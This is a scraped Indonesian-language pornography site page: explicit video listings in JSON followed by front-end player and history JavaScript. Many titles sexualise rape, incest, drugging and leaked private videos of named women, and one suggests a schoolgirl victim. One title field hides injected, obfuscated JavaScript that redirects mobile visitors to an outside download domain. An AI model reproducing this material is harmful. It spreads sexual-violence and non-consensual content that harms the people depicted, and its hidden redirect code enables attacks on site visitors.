Seorang wanita muda berambut pirang dan berperilaku tidak senonoh memperlihatkan wajahnya dan bercinta dengan penuh gairah dengan seorang pria. Ia mengenakan stoking dan pakaian dalam hitam, dan pria itu meraba payudaranya yang lembut sambil menusuknya. Ia mengerang tanpa henti, sementara mulutnya diisi dengan telur vibrator dan penisnya dimainkan.
Permainan Seksual Intim antara Peri Rubah dan Pelayan Kelinci","lastmod":"2026-07-11","duration":"27:17","url":"/play/19165639.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGVjYTc4MjFhYTZlODljZGRjNDc4NTFlYjdhYjQwMzcuanBn.cache","vod_id":18981247,"title":"Seorang gadis cantik dan seksi menunjukkan wajahnya di depan kamera, bertingkah menggoda, berinteraksi dengan pacarnya dan mengikuti instruksinya. Dia dengan lembut menjilat penis pria yang lebih tua itu, terlihat sangat murahan, lalu dengan penuh gairah menindihnya untuk bercinta dengan intens.","lastmod":"2025-12-14","duration":"02:31:34","url":"/play/18981247.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDRiZDVkMTA1NzVjYmMwMGQwMjlkY2M4ZTMzNGYyNjguanBn.cache","vod_id":18976095,"title":"Siaran langsung nyata dari pasangan yang berhubungan seks di rumah. Wajah adik ipar perempuan terlihat sepanjang video saat ia dipermainkan oleh kakak laki-lakinya. Kakak laki-lakinya menggosok payudaranya, bermain dengan vaginanya, melakukan deep throat, blowjob, dan melakukan hubungan seks tanpa kondom, penetrasi, dan ejakulasi di dalam dirinya. Sangat merangsang.","lastmod":"2025-12-14","duration":"00:40:46","url":"/play/18976095.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODY5NjI5YTQ2Y2M1YzczYWZhNmRiZTJkZmE4YWE4ZmUuanBn.cache","vod_id":19140396,"title":"Seorang pria kulit hitam memperkosa seorang gadis Asia secara brutal dalam sesi seks berkelompok.","lastmod":"2026-01-26","duration":"01:12:37","url":"/play/19140396.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjFlY2Q5ZjVmYjIwNDVhZmUxNjFlM2I1MzMwOTYzNGYuanBn.cache","vod_id":18965111,"title":"\"Rahasia Bocor Berkualitas Tinggi dari Cloud Drive\" - Menunjukkan wajahmu adalah kuncinya! Seorang pramugari tertentu memiliki sosok dan penampilan terbaik~ Dia seperti dewi saat melayani penumpang di tempat kerja, dan seperti jalang saat melayani sugar daddy-nya setelah pulang kerja~ Kontras antara berbagai pertemuan dan pelepasan seksual cukup mencolok (7)","lastmod":"2025-12-14","duration":"00:03:13","url":"/play/18965111.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2ZlNTk0MmUzZjI0MTQ5YmJmYmE5NzZiMzVlZWNmZDEuanBn.cache","vod_id":18948363,"title":"Seorang wanita muda cantik dengan kulit putih dan pembawaan menawan memperlihatkan wajahnya dalam posisi cowgirl, melakukan seks oral di kamar mandi tanpa kondom, lalu penetrasi dari belakang.","lastmod":"2025-12-14","duration":"02:17:08","url":"/play/18948363.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTBkOWRjMTY2MmExNzI3OGUwZDljYmFjZmIwMTBjYjguanBn.cache","vod_id":19025100,"title":"SDMU474, Cermin Ajaib, berangkat untuk Tahun Baru Imlek 2017. Beberapa pasangan berpartisipasi dalam permainan batu-kertas-gunting untuk memenangkan uang keberuntungan. Setelah itu, pasangan menghabiskan waktu berdua dan melakukan hubungan intim yang penuh gairah.","lastmod":"2025-03-24","duration":"03:32:23","url":"/play/19025100.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYWE4ZTlkY2YwY2VhZTNiNWJlNzdhN2ZjZDliNzRkZGIuanBn.cache","vod_id":19156383,"title":"SinsLife - Seks Pagi yang Penuh Gairah untuk Pasangan [JohnnySins]","lastmod":"2026-05-03","duration":"17:02","url":"/play/19156383.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZDVmNDE3ZTk3NTg5YTY1ZGRkZmEyMzJlMjQxNjU5M2IuanBn.cache","vod_id":19151335,"title":"Coco Baby, seorang gadis cantik, menggunakan tiang panjang untuk mengambil beberapa foto yang sangat menarik.","lastmod":"2026-04-02","duration":"54:45","url":"/play/19151335.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWYyNGU5MWQxNGFhZTRkZGUzYzYzYjYxZWUwZjkxOTUuanBn.cache","vod_id":18986824,"title":"\"Bocoran Cloud Drive Berkualitas Tinggi\" - Menunjukkan wajahmu adalah kuncinya! Manajer penjualan bernilai tinggi dengan citra wanita dewasa yang kontras [Deng W Ting] foto-foto pribadi tidak senonohnya bocor~ fetish kaki, seks, teknik masturbasi, rambut kemaluan yang sangat lebat, dan hasrat seksual yang kuat (4)","lastmod":"2025-12-14","duration":"00:01:22","url":"/play/18986824.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDY5NTNjNzFhZWViNDU2ZjdlZTI1MGY2OThkY2UyMGYuanBn.cache","vod_id":18927654,"title":"Platform \"Little Cute\" (sebelumnya Kawaii) menampilkan dua saudari yang sadar kesehatan yang terlibat dalam pertunjukan seks 4P yang penuh gairah dengan dua pria—sangat cabul dan menggoda.","lastmod":"2025-12-14","duration":"00:52:52","url":"/play/18927654.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MDEvMTVhMTBkMDI2YTY0Y2EwODgyMDY3MzJkMDM0MWU5MTIuanBn.cache","vod_id":19040983,"title":"Bom nuklir! Si cantik sekolah diperkosa selama 20 jam! Adik perempuan Yang Yang berhubungan seks tanpa kondom dan menelan sperma! ✨✨✨ Banyak rekaman ruang berbayar untuk kenikmatan sempurna! Alat bantu masturbasi skala besar sangat memuaskan.","lastmod":"2025-06-30","duration":"01:23:12","url":"/play/19040983.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjg2ZmJjNzgyYzk0NmNjNjk4ZDgyY2FiMWJjYzZmZGMuanBn.cache","vod_id":19026462,"title":"Sebuah video influencer Kuaishou, Lilizi, sedang masturbasi telah bocor di internet. Dia memang murahan; payudaranya sangat menggoda!","lastmod":"2025-03-26","duration":"45:04","url":"/play/19026462.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWNjNGFmMThjZWNjMDA0Nzg4ZGY1NjZiMzViYThmZTUuanBn.cache","vod_id":18930094,"title":"Seorang gadis muda cantik berbaju dalam memamerkan masturbasinya di sofa dengan kaki terentang lebar, vibrator terpasang, dan tanpa bulu. Sangat memikat dan menggoda; jangan lewatkan jika Anda menyukainya.","lastmod":"2025-12-14","duration":"00:58:55","url":"/play/18930094.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTQ0NTU4NDM1OWY3ZTJiZGNjYzU3M2E3OTI2ZjY3ZWUuanBn.cache","vod_id":18960327,"title":"[Tanpa Sensor] CAWD-352 [Cinta murni yang seharusnya tidak ada untuk seorang guru. Aku menyerah pada gairah seorang siswa laki-laki dan hanya bertahan satu malam.]","lastmod":"2025-03-22","duration":"01:57:14","url":"/play/18960327.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvYjNlMzAwOGUyMjhkZmE4ZjA3MWE3ZmVjYTE5MGNlZjAuanBn.cache","vod_id":19165534,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Video pemotretan lingerie seksi anggota girl group Korea","lastmod":"2026-07-11","duration":"11:24","url":"/play/19165534.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDJjYTMwZWRkZWNhMmRmNTdjMGM2ODg4NmNlMDk1YWYuanBn.cache","vod_id":18980974,"title":"Seorang wanita jalang kecil dengan payudara montok memperlihatkan wajahnya di depan kamera, memberikan seks oral pada seorang pria besar dengan penisnya yang besar. Dia terlihat sangat seksi, terus-menerus mengeluarkan suara-suara cabul, lalu membiarkan pria itu menidurinya dari belakang, dengan penuh gairah memainkan putingnya.","lastmod":"2025-12-14","duration":"00:31:46","url":"/play/18980974.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2M0ZDFjZmMyZGY2NWE1Mzc0YzhhNTMwNGUxMjVlNDIuanBn.cache","vod_id":18966187,"title":"Seorang gadis cantik dan seksi dengan stoking hitam menunjukkan wajahnya dan mengambil inisiatif, mengerang dan mendesah saat dia ditusuk. Dia menyuruh seorang pria menghisap payudaranya, dan ada close-up pada kemaluannya. Dia buang air kecil agar dilihat pacarnya, dan dia berhubungan seks tanpa kondom. Dia benar-benar jalang.","lastmod":"2025-12-14","duration":"01:45:22","url":"/play/18966187.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMTE4NTE4ZmE0OGUwYThmNDIxMzEwODUwYjUzZjI4YTQuanBn.cache","vod_id":19140259,"title":"Seorang wanita dewasa dengan sepatu hak tinggi, stoking hitam, bokong besar, dan payudara besar dibius dan diperkosa secara brutal oleh putranya yang durhaka.","lastmod":"2026-01-25","duration":"17:10","url":"/play/19140259.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDZmZWNlNWUyODg1NTA5OThjM2M5NDRhOGJlODk0YzguanBn.cache","vod_id":18953371,"title":"Foto Pribadi Bocor: Seorang Mahasiswi Muda dengan Wajah Kontras Terungkap [Huang Jiawen] Meminjam Uang dengan Bunga Tinggi dan Terpaksa Menggantinya dengan Tubuhnya; Dia Mengambil Banyak Selfie Cabul dan Mandi; Bentuk Tubuhnya Sangat Memukau (14)","lastmod":"2025-12-14","duration":"00:02:34","url":"/play/18953371.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2IzYTUwMWNhOGYyNGRlZjA1YWIwM2U1MDdlYTMxNDAuanBn.cache","vod_id":18957510,"title":"Seorang sepupu dari sekolah kejuruan, yang sudah lama tidak muncul di layar kaca, mengenakan tudung kepala dan berhubungan seks dengan teman sekelas perempuannya yang lebih muda, yang baru saja menjalani operasi plastik dan memiliki tubuh seperti model.","lastmod":"2025-12-14","duration":"00:00:00","url":"/play/18957510.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWM5NWRlZmQxNmE3NzkwOGMzZGE3N2FlZmJiNjk5YjYuanBn.cache","vod_id":18967781,"title":"Gadis cantik dengan payudara alami ukuran E, rasanya luar biasa! Payudaranya begitu lembut dan putih, aku tak pernah bosan melihatnya. Sayang sekali aku hanya bisa bertemu dengannya seminggu sekali. Aku tak pernah bosan!","lastmod":"2025-12-14","duration":"00:07:55","url":"/play/18967781.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMjAvMmNjY2U2ODE1MGU1NGE5MTM2OTgzMjY3ZjM3YzkyODEuanBn.cache","vod_id":19063615,"title":"Seorang gadis seksi bernomor punggung 33 sedang bercinta dengan penuh gairah dengan seorang pria bertopeng.","lastmod":"2025-12-14","duration":"01:38:32","url":"/play/19063615.html"}]},
videoTitle: 'Seorang wanita muda berambut pirang dan berperilaku tidak senonoh memperlihatkan wajahnya dan bercinta dengan penuh gairah dengan seorang pria. Ia mengenakan stoking dan pakaian dalam hitam, dan pria itu meraba payudaranya yang lembut sambil menusuknya. Ia mengerang tanpa henti, sementara mulutnya diisi dengan telur vibrator dan penisnya dimainkan.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}